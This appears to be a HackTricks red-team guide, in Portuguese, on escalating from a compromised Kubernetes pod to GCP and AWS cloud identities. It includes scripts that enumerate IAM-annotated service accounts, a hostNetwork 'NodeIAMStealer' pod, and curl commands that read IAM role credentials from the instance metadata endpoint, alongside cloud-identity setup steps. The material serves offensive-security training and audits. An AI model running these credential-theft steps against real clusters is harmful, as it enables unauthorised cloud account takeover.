Kubernetes Pivoting to Clouds
Reading time: 13 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
GCP
Se você estiver executando um cluster k8s dentro do GCP, provavelmente desejará que algum aplicativo em execução dentro do cluster tenha acesso ao GCP. Existem 2 maneiras comuns de fazer isso:
Montando chaves GCP-SA como segredo
Uma maneira comum de dar acesso a um aplicativo kubernetes ao GCP é:
- Criar uma Conta de Serviço do GCP
- Vincular as permissões desejadas
- Baixar uma chave json da SA criada
- Montá-la como um segredo dentro do pod
- Definir a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está.
warning
Portanto, como um atacante, se você comprometer um contêiner dentro de um pod, deve verificar essa variável env e arquivos json com credenciais do GCP.
Relacionando json GSA ao segredo KSA
Uma maneira de dar acesso a um GSA a um cluster GKE é vinculá-los desta forma:
- Criar uma conta de serviço Kubernetes no mesmo namespace que seu cluster GKE usando o seguinte comando:
Copy codekubectl create serviceaccount <service-account-name>
- Crie um Kubernetes Secret que contenha as credenciais da conta de serviço GCP à qual você deseja conceder acesso ao cluster GKE. Você pode fazer isso usando a ferramenta de linha de comando
gcloud
, conforme mostrado no exemplo a seguir:
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Vincule o Kubernetes Secret à conta de serviço do Kubernetes usando o seguinte comando:
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
No segundo passo, as credenciais do GSA foram definidas como segredo do KSA. Então, se você puder ler esse segredo de dentro do cluster GKE, você pode escalar para essa conta de serviço GCP.
Identidade de Workload GKE
Com a Identidade de Workload, podemos configurar uma conta de serviço Kubernetes para agir como uma conta de serviço Google. Pods executando com a conta de serviço Kubernetes serão automaticamente autenticados como a conta de serviço Google ao acessar APIs do Google Cloud.
A primeira série de passos para habilitar esse comportamento é habilitar a Identidade de Workload no GCP (passos) e criar a SA GCP que você deseja que o k8s impersonifique.
- Habilitar a Identidade de Workload em um novo cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Criar/Atualizar um novo nodepool (clusters Autopilot não precisam disso)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Crie a Conta de Serviço GCP para se fazer passar a partir do K8s com permissões GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Conecte-se ao cluster e crie a conta de serviço para usar
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Vincule o GSA com o KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Execute um pod com o KSA e verifique o acesso ao GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Verifique o seguinte comando para autenticar, caso necessário:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Como um atacante dentro do K8s, você deve procurar por SAs com a anotação iam.gke.io/gcp-service-account
, pois isso indica que a SA pode acessar algo no GCP. Outra opção seria tentar abusar de cada KSA no cluster e verificar se ela tem acesso.
Do GCP, é sempre interessante enumerar as ligações e saber qual acesso você está concedendo às SAs dentro do Kubernetes.
Este é um script para facilmente iterar sobre todas as definições de pods procurando por essa anotação:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Uma maneira (ultrapassada) de dar IAM Roles para Pods é usar um Kiam ou um Kube2IAM servidor. Basicamente, você precisará executar um daemonset em seu cluster com um tipo de IAM role privilegiado. Este daemonset será o responsável por conceder acesso aos IAM roles para os pods que precisarem.
Primeiramente, você precisa configurar quais roles podem ser acessadas dentro do namespace, e você faz isso com uma anotação dentro do objeto namespace:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Uma vez que o namespace está configurado com os papéis IAM que os Pods podem ter, você pode indicar o papel que deseja em cada definição de pod com algo como:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Como um atacante, se você encontrar essas anotações em pods ou namespaces ou um servidor kiam/kube2iam em execução (provavelmente no kube-system), você pode impersonar qualquer role que já está sendo usada por pods e mais (se você tiver acesso à conta AWS, enumere os roles).
Criar Pod com Role IAM
note
O role IAM a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam e esse role deve ser capaz de acessá-lo.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role para Contas de Serviço K8s via OIDC
Esta é a maneira recomendada pela AWS.
- Primeiro, você precisa criar um provedor OIDC para o cluster.
- Em seguida, você cria um papel IAM com as permissões que a SA precisará.
- Crie uma relação de confiança entre o papel IAM e a SA nome (ou os namespaces que dão acesso ao papel para todas as SAs do namespace). A relação de confiança verificará principalmente o nome do provedor OIDC, o nome do namespace e o nome da SA.
- Finalmente, crie uma SA com uma anotação indicando o ARN do papel, e os pods executando com essa SA terão acesso ao token do papel. O token é escrito dentro de um arquivo e o caminho é especificado em
AWS_WEB_IDENTITY_TOKEN_FILE
(padrão:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Para obter aws usando o token de /var/run/secrets/eks.amazonaws.com/serviceaccount/token
, execute:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Como um atacante, se você puder enumerar um cluster K8s, verifique as contas de serviço com essa anotação para escalar para AWS. Para fazer isso, basta exec/create um pod usando uma das contas de serviço privilegiadas do IAM e roubar o token.
Além disso, se você estiver dentro de um pod, verifique variáveis de ambiente como AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.
caution
Às vezes, a Política de Confiança de um papel pode estar mal configurada e, em vez de dar acesso AssumeRole à conta de serviço esperada, dá acesso a todas as contas de serviço. Portanto, se você for capaz de escrever uma anotação em uma conta de serviço controlada, poderá acessar o papel.
Verifique a página seguinte para mais informações:
Encontrar Pods e SAs com Papéis IAM no Cluster
Este é um script para facilmente iterar sobre todos os pods e definições de sas procurando por essa anotação:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role
A seção anterior tratou de como roubar IAM Roles com pods, mas note que um Node do cluster K8s será uma instância dentro da nuvem. Isso significa que o Node é altamente provável que tenha um novo IAM role que você pode roubar (note que geralmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar em cada node).
No entanto, há um requisito importante para acessar o endpoint de metadados a partir do node, você precisa estar no node (sessão ssh?) ou pelo menos ter a mesma rede:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Roubar Token de Função IAM
Anteriormente, discutimos como anexar Funções IAM a Pods ou até mesmo como escapar para o Nó para roubar a Função IAM que a instância tem anexada a ela.
Você pode usar o seguinte script para roubar suas novas credenciais de função IAM:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Referências
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.